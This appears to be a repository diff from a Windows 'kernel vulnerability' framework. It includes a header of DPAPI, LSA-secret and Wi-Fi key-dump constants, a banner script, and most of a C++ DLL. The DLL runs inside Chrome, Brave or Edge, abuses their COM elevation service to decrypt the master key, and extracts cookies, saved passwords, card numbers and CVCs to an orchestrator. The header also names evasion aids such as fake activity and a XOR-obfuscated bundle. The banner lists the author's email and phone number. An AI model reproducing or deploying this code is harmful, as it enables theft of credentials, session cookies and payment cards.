#if kvc_DEBUG_ENABLED
#define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__)
#else
#define DEBUG(format, ...) do {} while(0)
#endif
#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__)
#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__)
#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__)
#define LASTERROR(f) \
do { \
wchar_t buf[256]; \
swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \
std::wcout << buf; \
} while(0)
// Windows protection type definitions
enum class PS_PROTECTED_TYPE : UCHAR
{
None = 0,
ProtectedLight = 1,
Protected = 2
};
enum class PS_PROTECTED_SIGNER : UCHAR
{
None = 0,
Authenticode = 1,
CodeGen = 2,
Antimalware = 3,
Lsa = 4,
Windows = 5,
WinTcb = 6,
WinSystem = 7,
App = 8,
Max = 9
};
// Service-related constants
namespace ServiceConstants {
constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl";
constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework";
constexpr const wchar_t* SERVICE_PARAM = L"--service";
// Keyboard hook settings
constexpr int CTRL_SEQUENCE_LENGTH = 5;
constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000;
constexpr DWORD CTRL_DEBOUNCE_MS = 50;
}
// DPAPI constants for password extraction
namespace DPAPIConstants {
constexpr int SQLITE_OK = 0;
constexpr int SQLITE_ROW = 100;
constexpr int SQLITE_DONE = 101;
constexpr int SQLITE_OPEN_READONLY = 0x00000001;
inline std::string GetChromeV10Prefix() { return "v10"; }
inline std::string GetChromeDPAPIPrefix() { return "DPAPI"; }
inline std::wstring GetSecurityPolicySecrets() { return L"SECURITY\\Policy\\Secrets"; }
inline std::wstring GetDPAPISystemKey() { return L"DPAPI_SYSTEM"; }
inline std::wstring GetNLKMKey() { return L"NL$KM"; }
inline std::wstring GetDefaultPasswordKey() { return L"DefaultPassword"; }
inline std::wstring GetCurrVal() { return L"CurrVal"; }
inline std::wstring GetOldVal() { return L"OldVal"; }
inline std::wstring GetChromeUserData() { return L"\\Google\\Chrome\\User Data"; }
inline std::wstring GetEdgeUserData() { return L"\\Microsoft\\Edge\\User Data"; }
inline std::wstring GetLocalStateFile() { return L"\\Local State"; }
inline std::wstring GetLoginDataFile() { return L"\\Login Data"; }
inline std::string GetEncryptedKeyField() { return "\"encrypted_key\":"; }
inline std::string GetLocalAppData() { return "LOCALAPPDATA"; }
inline std::wstring GetHTMLExt() { return L".html"; }
inline std::wstring GetTXTExt() { return L".txt"; }
inline std::wstring GetDBExt() { return L".db"; }
inline std::wstring GetTempLoginDB() { return L"temp_login_data.db"; }
inline std::wstring GetTempPattern() { return L"temp_login_data"; }
inline std::string GetNetshShowProfiles() { return "netsh wlan show profiles"; }
inline std::string GetNetshShowProfileKey() { return "netsh wlan show profile name=\""; }
inline std::string GetNetshKeyClear() { return "\" key=clear"; }
inline std::string GetWiFiProfileMarker() { return "All User Profile"; }
inline std::string GetWiFiKeyContent() { return "Key Content"; }
inline std::string GetLoginQuery() { return "SELECT origin_url, username_value, password_value FROM logins"; }
inline std::wstring GetStatusDecrypted() { return L"DECRYPTED"; }
inline std::wstring GetStatusClearText() { return L"CLEAR_TEXT"; }
inline std::wstring GetStatusEncrypted() { return L"ENCRYPTED"; }
inline std::wstring GetStatusFailed() { return L"FAILED"; }
inline std::wstring GetStatusExtracted() { return L"EXTRACTED"; }
}
// Dynamic API loading globals for driver operations
extern ModuleHandle g_advapi32;
extern SystemModuleHandle g_kernel32;
extern decltype(&CreateServiceW) g_pCreateServiceW;
extern decltype(&OpenServiceW) g_pOpenServiceW;
extern decltype(&StartServiceW) g_pStartServiceW;
extern decltype(&DeleteService) g_pDeleteService;
extern decltype(&CreateFileW) g_pCreateFileW;
extern decltype(&ControlService) g_pControlService;
// Service mode detection
extern bool g_serviceMode;
extern volatile bool g_interrupted;
// Core driver functions
bool InitDynamicAPIs() noexcept;
std::wstring GetServiceName() noexcept;
std::wstring GetDriverFileName() noexcept;
void GenerateFakeActivity() noexcept;
std::wstring GetSystemTempPath() noexcept;
// Service utility functions
bool IsServiceInstalled() noexcept;
bool IsServiceRunning() noexcept;
std::wstring GetCurrentExecutablePath() noexcept;
// Driver path helper
inline std::wstring GetDriverStorePath() noexcept {
wchar_t windowsDir[MAX_PATH];
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) == 0) {
wcscpy_s(windowsDir, L"C:\\Windows");
}
std::wstring result = windowsDir;
return result + L"\\System32\\DriverStore\\FileRepository\\avc.inf_amd64_12ca23d60da30d59";
}
// KVC combined binary processing constants
constexpr std::array<BYTE, 7> KVC_XOR_KEY = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
constexpr wchar_t KVC_DATA_FILE[] = L"kvc.dat";
constexpr wchar_t KVC_PASS_FILE[] = L"kvc_pass.exe";
constexpr wchar_t KVC_CRYPT_FILE[] = L"kvc_crypt.dll";

84
kvc/intro.ps1 Normal file
View File

@@ -0,0 +1,84 @@
$introText = @"
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
"@
# Get all .cpp files in current directory
$cppFiles = Get-ChildItem -Path . -Filter "*.cpp"
# Count files with and without intro
$filesWithIntro = 0
$filesWithoutIntro = 0
foreach ($file in $cppFiles) {
$content = Get-Content -Raw $file.FullName
$introPattern = [regex]::Escape($introText.Trim())
if ($content -match $introPattern) {
$filesWithIntro++
}
else {
$filesWithoutIntro++
}
}
# Display summary
Write-Host "Found intro in $filesWithIntro files" -ForegroundColor Yellow
if ($filesWithIntro -gt 0) {
$choice = Read-Host "Remove intro from all these files in batch? (Y/N)"
if ($choice -eq 'Y' -or $choice -eq 'y') {
foreach ($file in $cppFiles) {
$content = Get-Content -Raw $file.FullName
$introPattern = [regex]::Escape($introText.Trim())
if ($content -match $introPattern) {
$newContent = $content -replace $introPattern, ""
$newContent = $newContent.TrimStart()
Set-Content -Path $file.FullName -Value $newContent -NoNewline
Write-Host "Removed intro from $($file.Name)" -ForegroundColor Green
}
}
}
}
Write-Host "Intro not found in $filesWithoutIntro files" -ForegroundColor Yellow
if ($filesWithoutIntro -gt 0) {
$choice = Read-Host "Add intro to all these files in batch? (Y/N)"
if ($choice -eq 'Y' -or $choice -eq 'y') {
foreach ($file in $cppFiles) {
$content = Get-Content -Raw $file.FullName
$introPattern = [regex]::Escape($introText.Trim())
if (-not ($content -match $introPattern)) {
$newContent = $introText + "`r`n" + $content
Set-Content -Path $file.FullName -Value $newContent -NoNewline
Write-Host "Added intro to $($file.Name)" -ForegroundColor Green
}
}
}
}
Write-Host "Batch operation completed" -ForegroundColor Cyan

933
kvc/kvc_crypt.cpp Normal file
View File

@@ -0,0 +1,933 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// kvc_crypt.cpp
#include <Windows.h>
#include <ShlObj.h>
#include <wrl/client.h>
#include <bcrypt.h>
#include <Wincrypt.h>
#include <fstream>
#include <sstream>
#include <iomanip>
#include <vector>
#include <tlhelp32.h>
#include <string>
#include <algorithm>
#include <memory>
#include <optional>
#include <stdexcept>
#include <filesystem>
#include <unordered_map>
#include "SelfLoader.h"
#include "winsqlite3.h"
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif
namespace fs = std::filesystem;
// Simplified string utilities for essential conversions only
namespace StringUtils
{
// Convert filesystem path to API-compatible string
inline std::string path_to_string(const fs::path& path)
{
return path.string();
}
}
// COM Interface Protection Levels for Browser Elevation Services
enum class ProtectionLevel
{
None = 0,
PathValidationOld = 1,
PathValidation = 2,
Max = 3
};
// Chrome/Brave Base Elevator Interface - COM interop for browser security services
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IOriginalBaseElevator : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
// Edge Elevator Base Interface - placeholder methods for compatibility
MIDL_INTERFACE("E12B779C-CDB8-4F19-95A0-9CA19B31A8F6")
IEdgeElevatorBase_Placeholder : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod1_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod2_Unknown(void) = 0;
virtual HRESULT STDMETHODCALLTYPE EdgeBaseMethod3_Unknown(void) = 0;
};
// Edge Intermediate Elevator Interface - extends base functionality
MIDL_INTERFACE("A949CB4E-C4F9-44C4-B213-6BF8AA9AC69C")
IEdgeIntermediateElevator : public IEdgeElevatorBase_Placeholder
{
public:
virtual HRESULT STDMETHODCALLTYPE RunRecoveryCRXElevated(const WCHAR*, const WCHAR*, const WCHAR*, const WCHAR*, DWORD, ULONG_PTR*) = 0;
virtual HRESULT STDMETHODCALLTYPE EncryptData(ProtectionLevel, const BSTR, BSTR*, DWORD*) = 0;
virtual HRESULT STDMETHODCALLTYPE DecryptData(const BSTR, BSTR*, DWORD*) = 0;
};
// Edge Final Elevator Interface - complete implementation
MIDL_INTERFACE("C9C2B807-7731-4F34-81B7-44FF7779522B")
IEdgeElevatorFinal : public IEdgeIntermediateElevator {};
namespace SecurityComponents
{
class PipeLogger;
namespace Utils
{
// Get Local AppData folder path with comprehensive error handling
fs::path GetLocalAppDataPath()
{
PWSTR path = nullptr;
if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path)))
{
fs::path result = path;
CoTaskMemFree(path);
return result;
}
throw std::runtime_error("Failed to get Local AppData path.");
}
// Base64 decode utility for processing encrypted keys
std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
{
DWORD size = 0;
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
return std::nullopt;
std::vector<uint8_t> data(size);
if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr))
return std::nullopt;
return data;
}
// Convert binary data to hex string for diagnostic logging
std::string BytesToHexString(const std::vector<uint8_t>& bytes)
{
std::ostringstream oss;
oss << std::hex << std::setfill('0');
for (uint8_t byte : bytes)
oss << std::setw(2) << static_cast<int>(byte);
return oss.str();
}
// Escape JSON strings for safe output serialization
std::string EscapeJson(const std::string& s)
{
std::ostringstream o;
for (char c : s)
{
switch (c)
{
case '"': o << "\\\""; break;
case '\\': o << "\\\\"; break;
case '\b': o << "\\b"; break;
case '\f': o << "\\f"; break;
case '\n': o << "\\n"; break;
case '\r': o << "\\r"; break;
case '\t': o << "\\t"; break;
default:
if ('\x00' <= c && c <= '\x1f')
{
o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast<int>(c);
}
else
{
o << c;
}
}
}
return o.str();
}
}
namespace Browser
{
// Browser configuration structure for multi-platform support
struct Config
{
std::string name;
std::wstring processName;
CLSID clsid;
IID iid;
fs::path userDataSubPath;
};
// Get comprehensive browser configurations mapping
const std::unordered_map<std::string, Config>& GetConfigs()
{
static const std::unordered_map<std::string, Config> browser_configs = {
{"chrome", {"Chrome", L"chrome.exe",
{0x708860E0, 0xF641, 0x4611, {0x88, 0x95, 0x7D, 0x86, 0x7D, 0xD3, 0x67, 0x5B}},
{0x463ABECF, 0x410D, 0x407F, {0x8A, 0xF5, 0x0D, 0xF3, 0x5A, 0x00, 0x5C, 0xC8}},
fs::path("Google") / "Chrome" / "User Data"}},
{"brave", {"Brave", L"brave.exe",
{0x576B31AF, 0x6369, 0x4B6B, {0x85, 0x60, 0xE4, 0xB2, 0x03, 0xA9, 0x7A, 0x8B}},
{0xF396861E, 0x0C8E, 0x4C71, {0x82, 0x56, 0x2F, 0xAE, 0x6D, 0x75, 0x9C, 0xE9}},
fs::path("BraveSoftware") / "Brave-Browser" / "User Data"}},
{"edge", {"Edge", L"msedge.exe",
{0x1FCBE96C, 0x1697, 0x43AF, {0x91, 0x40, 0x28, 0x97, 0xC7, 0xC6, 0x97, 0x67}},
{0xC9C2B807, 0x7731, 0x4F34, {0x81, 0xB7, 0x44, 0xFF, 0x77, 0x79, 0x52, 0x2B}},
fs::path("Microsoft") / "Edge" / "User Data"}}
};
return browser_configs;
}
// Detect current browser process configuration from runtime environment
Config GetConfigForCurrentProcess()
{
char exePath[MAX_PATH] = {0};
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string processName = fs::path(exePath).filename().string();
std::transform(processName.begin(), processName.end(), processName.begin(), ::tolower);
const auto& configs = GetConfigs();
if (processName == "chrome.exe") return configs.at("chrome");
if (processName == "brave.exe") return configs.at("brave");
if (processName == "msedge.exe") return configs.at("edge");
throw std::runtime_error("Unsupported host process: " + processName);
}
}
namespace Crypto
{
// Cryptographic constants for AES-GCM decryption operations
constexpr size_t KEY_SIZE = 32;
constexpr size_t GCM_IV_LENGTH = 12;
constexpr size_t GCM_TAG_LENGTH = 16;
const uint8_t KEY_PREFIX[] = {'A', 'P', 'P', 'B'};
// Support for multiple encryption format versions
const std::string V10_PREFIX = "v10";
const std::string V20_PREFIX = "v20";
// Simple RAII wrapper for BCrypt algorithm handle
class BCryptAlgorithm
{
public:
BCryptAlgorithm() { BCryptOpenAlgorithmProvider(&handle, BCRYPT_AES_ALGORITHM, nullptr, 0); }
~BCryptAlgorithm() { if (handle) BCryptCloseAlgorithmProvider(handle, 0); }
operator BCRYPT_ALG_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_ALG_HANDLE handle = nullptr;
};
// Simple RAII wrapper for BCrypt key handle
class BCryptKey
{
public:
BCryptKey(BCRYPT_ALG_HANDLE alg, const std::vector<uint8_t>& key)
{
BCryptGenerateSymmetricKey(alg, &handle, nullptr, 0,
const_cast<PUCHAR>(key.data()), static_cast<ULONG>(key.size()), 0);
}
~BCryptKey() { if (handle) BCryptDestroyKey(handle); }
operator BCRYPT_KEY_HANDLE() const { return handle; }
bool IsValid() const { return handle != nullptr; }
private:
BCRYPT_KEY_HANDLE handle = nullptr;
};
// Decrypt GCM-encrypted data using AES-GCM algorithm (supports v10 and v20 formats)
std::vector<uint8_t> DecryptGcm(const std::vector<uint8_t>& key, const std::vector<uint8_t>& blob)
{
// Auto-detect encryption format version
std::string detectedPrefix;
size_t prefixLength = 0;
if (blob.size() >= 3)
{
if (memcmp(blob.data(), V10_PREFIX.c_str(), V10_PREFIX.length()) == 0)
{
detectedPrefix = V10_PREFIX;
prefixLength = V10_PREFIX.length();
}
else if (memcmp(blob.data(), V20_PREFIX.c_str(), V20_PREFIX.length()) == 0)
{
detectedPrefix = V20_PREFIX;
prefixLength = V20_PREFIX.length();
}
else
{
return {};
}
}
else
{
return {};
}
const size_t GCM_OVERHEAD_LENGTH = prefixLength + GCM_IV_LENGTH + GCM_TAG_LENGTH;
if (blob.size() < GCM_OVERHEAD_LENGTH)
return {};
// Initialize BCrypt AES-GCM cryptographic provider
BCryptAlgorithm algorithm;
if (!algorithm.IsValid())
return {};
BCryptSetProperty(algorithm, BCRYPT_CHAINING_MODE,
reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
// Generate symmetric key from raw key material
BCryptKey cryptoKey(algorithm, key);
if (!cryptoKey.IsValid())
return {};
// Extract cryptographic components from blob
const uint8_t* iv = blob.data() + prefixLength;
const uint8_t* ct = iv + GCM_IV_LENGTH;
const uint8_t* tag = blob.data() + (blob.size() - GCM_TAG_LENGTH);
ULONG ct_len = static_cast<ULONG>(blob.size() - prefixLength - GCM_IV_LENGTH - GCM_TAG_LENGTH);
// Configure GCM authenticated encryption parameters
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
authInfo.pbNonce = const_cast<PUCHAR>(iv);
authInfo.cbNonce = GCM_IV_LENGTH;
authInfo.pbTag = const_cast<PUCHAR>(tag);
authInfo.cbTag = GCM_TAG_LENGTH;
// Perform authenticated decryption with integrity verification
std::vector<uint8_t> plain(ct_len > 0 ? ct_len : 1);
ULONG outLen = 0;
NTSTATUS status = BCryptDecrypt(cryptoKey, const_cast<PUCHAR>(ct), ct_len, &authInfo,
nullptr, 0, plain.data(), static_cast<ULONG>(plain.size()), &outLen, 0);
if (!NT_SUCCESS(status))
return {};
plain.resize(outLen);
return plain;
}
// Extract and validate encrypted master key from Local State configuration
std::vector<uint8_t> GetEncryptedMasterKey(const fs::path& localStatePath)
{
std::ifstream f(localStatePath, std::ios::binary);
if (!f)
throw std::runtime_error("Could not open Local State file.");
std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
const std::string tag = "\"app_bound_encrypted_key\":\"";
size_t pos = content.find(tag);
if (pos == std::string::npos)
throw std::runtime_error("app_bound_encrypted_key not found.");
pos += tag.length();
size_t end_pos = content.find('"', pos);
if (end_pos == std::string::npos)
throw std::runtime_error("Malformed app_bound_encrypted_key.");
auto optDecoded = Utils::Base64Decode(content.substr(pos, end_pos - pos));
if (!optDecoded)
throw std::runtime_error("Base64 decoding of key failed.");
auto& decodedData = *optDecoded;
if (decodedData.size() < sizeof(KEY_PREFIX) ||
memcmp(decodedData.data(), KEY_PREFIX, sizeof(KEY_PREFIX)) != 0)
{
throw std::runtime_error("Key prefix validation failed.");
}
return {decodedData.begin() + sizeof(KEY_PREFIX), decodedData.end()};
}
}
namespace Data
{
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
// Function pointer types for extraction operations
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
// Configuration structure for database extraction operations
struct ExtractionConfig
{
fs::path dbRelativePath;
std::string outputFileName;
std::string sqlQuery;
PreQuerySetupFunc preQuerySetup;
JsonFormatterFunc jsonFormatter;
};
// Pre-query setup for payment cards - loads CVC data
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
{
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
sqlite3_stmt* stmt = nullptr;
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
return cvcMap;
while (sqlite3_step(stmt) == SQLITE_ROW)
{
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
if (guid && blob)
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
}
sqlite3_finalize(stmt);
return cvcMap;
}
// JSON formatter for cookies
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
return std::nullopt;
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
std::ostringstream json_entry;
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
<< "}";
return json_entry.str();
}
// JSON formatter for passwords
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
if (!blob) return std::nullopt;
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
}
// JSON formatter for payment cards
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
{
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
std::string card_num_str, cvc_str;
// Decrypt primary card number
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
if (blob)
{
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
// Decrypt associated CVC if available
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
if (guid && cvcMap && (*cvcMap)->count(guid))
{
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
}
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
}
// Comprehensive extraction configurations for different browser data types
const std::vector<ExtractionConfig>& GetExtractionConfigs()
{
static const std::vector<ExtractionConfig> configs = {
// Browser cookie extraction configuration
{fs::path("Network") / "Cookies", "cookies",
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
nullptr, FormatCookie},
// Stored password extraction configuration
{"Login Data", "passwords",
"SELECT origin_url, username_value, password_value FROM logins;",
nullptr, FormatPassword},
// Payment card information extraction configuration
{"Web Data", "payments",
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
SetupPaymentCards, FormatPayment}
};
return configs;
}
}
// Named pipe communication interface with orchestrator process
class PipeLogger
{
public:
explicit PipeLogger(LPCWSTR pipeName)
{
m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr);
}
~PipeLogger()
{
if (m_pipe != INVALID_HANDLE_VALUE)
{
Log("__DLL_PIPE_COMPLETION_SIGNAL__");
FlushFileBuffers(m_pipe);
CloseHandle(m_pipe);
}
}
bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
// Send diagnostic message to orchestrator
void Log(const std::string& message)
{
if (isValid())
{
DWORD bytesWritten = 0;
WriteFile(m_pipe, message.c_str(), static_cast<DWORD>(message.length() + 1), &bytesWritten, nullptr);
}
}
HANDLE getHandle() const noexcept { return m_pipe; }
private:
HANDLE m_pipe = INVALID_HANDLE_VALUE;
};
// Browser configuration and path management
class BrowserManager
{
public:
BrowserManager() : m_config(Browser::GetConfigForCurrentProcess()) {}
const Browser::Config& getConfig() const noexcept { return m_config; }
// Resolve user data root directory for current browser configuration
fs::path getUserDataRoot() const
{
return Utils::GetLocalAppDataPath() / m_config.userDataSubPath;
}
private:
Browser::Config m_config;
};
// Master key decryption service using COM elevation interfaces
class MasterKeyDecryptor
{
public:
explicit MasterKeyDecryptor(PipeLogger& logger) : m_logger(logger)
{
if (FAILED(CoInitializeEx(NULL, COINIT_APARTMENTTHREADED)))
{
throw std::runtime_error("Failed to initialize COM library.");
}
m_comInitialized = true;
m_logger.Log("[+] COM library initialized (APARTMENTTHREADED).");
}
~MasterKeyDecryptor()
{
if (m_comInitialized)
{
CoUninitialize();
}
}
// Decrypt master key using browser-specific COM elevation service
std::vector<uint8_t> Decrypt(const Browser::Config& config, const fs::path& localStatePath)
{
m_logger.Log("[*] Reading Local State file: " + StringUtils::path_to_string(localStatePath));
auto encryptedKeyBlob = Crypto::GetEncryptedMasterKey(localStatePath);
// Prepare encrypted key as BSTR for COM interface
BSTR bstrEncKey = SysAllocStringByteLen(reinterpret_cast<const char*>(encryptedKeyBlob.data()),
static_cast<UINT>(encryptedKeyBlob.size()));
if (!bstrEncKey)
throw std::runtime_error("SysAllocStringByteLen for encrypted key failed.");
BSTR bstrPlainKey = nullptr;
HRESULT hr = E_FAIL;
DWORD comErr = 0;
m_logger.Log("[*] Attempting to decrypt master key via " + config.name + "'s COM server...");
// Use Edge-specific COM elevation interface
if (config.name == "Edge")
{
Microsoft::WRL::ComPtr<IEdgeElevatorFinal> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
// Use Chrome/Brave COM elevation interface
else
{
Microsoft::WRL::ComPtr<IOriginalBaseElevator> elevator;
hr = CoCreateInstance(config.clsid, nullptr, CLSCTX_LOCAL_SERVER, config.iid, &elevator);
if (SUCCEEDED(hr))
{
CoSetProxyBlanket(elevator.Get(), RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, EOAC_DYNAMIC_CLOAKING);
hr = elevator->DecryptData(bstrEncKey, &bstrPlainKey, &comErr);
}
}
// Cleanup and validate COM decryption operation result
SysFreeString(bstrEncKey);
if (FAILED(hr) || !bstrPlainKey || SysStringByteLen(bstrPlainKey) != Crypto::KEY_SIZE)
{
if (bstrPlainKey) SysFreeString(bstrPlainKey);
std::ostringstream oss;
oss << "IElevator->DecryptData failed. HRESULT: 0x" << std::hex << hr;
throw std::runtime_error(oss.str());
}
// Extract raw AES key bytes from BSTR
std::vector<uint8_t> aesKey(Crypto::KEY_SIZE);
memcpy(aesKey.data(), bstrPlainKey, Crypto::KEY_SIZE);
SysFreeString(bstrPlainKey);
return aesKey;
}
private:
PipeLogger& m_logger;
bool m_comInitialized = false;
};
// Browser profile discovery and enumeration service
class ProfileEnumerator
{
public:
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
: m_userDataRoot(userDataRoot), m_logger(logger) {}
// Discover all browser profiles containing extractable databases
std::vector<fs::path> FindProfiles()
{
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
std::vector<fs::path> profilePaths;
// Check if directory contains extractable database files
auto isProfileDirectory = [](const fs::path& path)
